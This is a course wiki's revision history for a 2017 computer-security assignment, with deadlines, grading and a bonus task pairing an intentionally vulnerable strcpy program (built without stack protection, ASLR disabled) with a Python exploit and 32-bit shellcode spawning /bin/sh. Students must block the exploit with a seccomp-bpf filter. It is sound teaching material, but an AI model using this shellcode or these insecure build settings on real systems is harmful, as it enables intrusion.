Безопасность компьютерных систем 2017/Задание 3 - История изменений

Gamajun: /* Задача */

2017-12-15T18:30:59Z

Задача

← Предыдущая версия		Версия от 18:30, 15 декабря 2017
Строка 83:		Строка 83:
	Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).		Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

	После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch, т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).		После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

	Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.		Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

	Задание весит '''1''' балл.		Задание весит '''1''' балл.

			Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла.

Gamajun: /* Задача */

2017-12-15T11:55:52Z

Задача

← Предыдущая версия		Версия от 11:55, 15 декабря 2017
Строка 87:		Строка 87:
	Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.		Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

	Задание весит '''~~0.5~~''' ~~балла~~.		Задание весит '''1''' балл.

Gamajun: /* Дедлайн */

2017-12-15T05:11:07Z

Дедлайн

← Предыдущая версия		Версия от 05:11, 15 декабря 2017
Строка 21:		Строка 21:
	==== Дедлайн ====		==== Дедлайн ====

	12.12.2017 включительно.		18.12.2017 включительно.

	==== Сдача решений ====		==== Сдача решений ====

Gamajun в 21:09, 11 декабря 2017

2017-12-11T21:09:50Z

← Предыдущая версия		Версия от 21:09, 11 декабря 2017
Строка 34:		Строка 34:

	Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.ru.		Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.ru.

			== Бонусное задание по SECCOMP ==

			В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

			Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
			==== Программа ====
			#include <string.h>
			#include <stdio.h>
			int badcpy(char *str) {
			register int i asm("esp");
			printf("$esp = %#010x\n", i);
			char buffer[100];
			strcpy(buffer, str);
			}
			void main(int argc, char *argv[]) {
			badcpy(argv[1]);
			printf("Done!\n");
			}

			Собираем без stack-protector и включаем execstack:

			gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

			Отключаем ASLR:

			echo 0 \| sudo tee /proc/sys/kernel/randomize_va_space

			==== Эксплойт (gensploit.py) ====

			#!/usr/bin/python
			nopsled = '\x90' * 64
			shellcode = (
			'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
			'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
			'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
			)
			padding = 'A' * (112 - 64 - 32)
			eip = '\xa0\xda\xff\xff'
			print nopsled + shellcode + padding + eip

			==== Задача ====
			Сначала заставьте переполнение работать.
			stack нужно передать шеллкод в качестве параметра командной строки.

			Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

			Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

			После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch, т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

			Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

			Задание весит '''0.5''' балла.

Michail.vms в 20:40, 10 декабря 2017

2017-12-10T20:40:20Z

← Предыдущая версия		Версия от 20:40, 10 декабря 2017
Строка 26:		Строка 26:

	Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK.		Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK.

			==== Обновление ====

			10.12.2017 - в задание была добавлена бонусная часть, за которую можно получить дополнительный балл.

	==== Поломка заданий ====		==== Поломка заданий ====

	Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.ru.		Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.ru.

Gamajun в 08:48, 7 декабря 2017

2017-12-07T08:48:45Z

← Предыдущая версия		Версия от 08:48, 7 декабря 2017
Строка 21:		Строка 21:
	==== Дедлайн ====		==== Дедлайн ====

	~~TBU~~		12.12.2017 включительно.

	==== Сдача решений ====		==== Сдача решений ====

Michail.vms в 21:15, 19 ноября 2017

2017-11-19T21:15:14Z

← Предыдущая версия		Версия от 21:15, 19 ноября 2017
Строка 17:		Строка 17:
	==== Баллы ====		==== Баллы ====

	~~TBU~~		Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать 2 балла.

	==== Дедлайн ====		==== Дедлайн ====

Michail.vms в 21:14, 19 ноября 2017

2017-11-19T21:14:01Z

← Предыдущая версия		Версия от 21:14, 19 ноября 2017
Строка 13:		Строка 13:
	==== Файлы заданий ====		==== Файлы заданий ====

	Файлы заданий можно взять тут: [https://yadi.sk/d/CIgYv1Ne3PqgB5]		Файлы заданий можно взять тут: [https://yadi.sk/d/CIgYv1Ne3PqgB5]. Само задание развёрнуто на bykvaadm.ru:12032.

	==== Баллы ====		==== Баллы ====

Michail.vms в 21:12, 19 ноября 2017

2017-11-19T21:12:59Z

← Предыдущая версия		Версия от 21:12, 19 ноября 2017
Строка 25:		Строка 25:
	==== Сдача решений ====		==== Сдача решений ====

	Решения заданий нужно присылать на почту michail.vms@yandex.~~com~~ с темой HSE_TASK.		Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK.

	==== Поломка заданий ====		==== Поломка заданий ====

	Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.~~com~~.		Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.ru.

Michail.vms в 21:12, 19 ноября 2017

2017-11-19T21:12:41Z

← Предыдущая версия		Версия от 21:12, 19 ноября 2017
Строка 13:		Строка 13:
	==== Файлы заданий ====		==== Файлы заданий ====

	Файлы заданий можно взять [~~[тут\|~~https://yadi.sk/d/CIgYv1Ne3PqgB5]]		Файлы заданий можно взять тут: [https://yadi.sk/d/CIgYv1Ne3PqgB5]

	==== Баллы ====		==== Баллы ====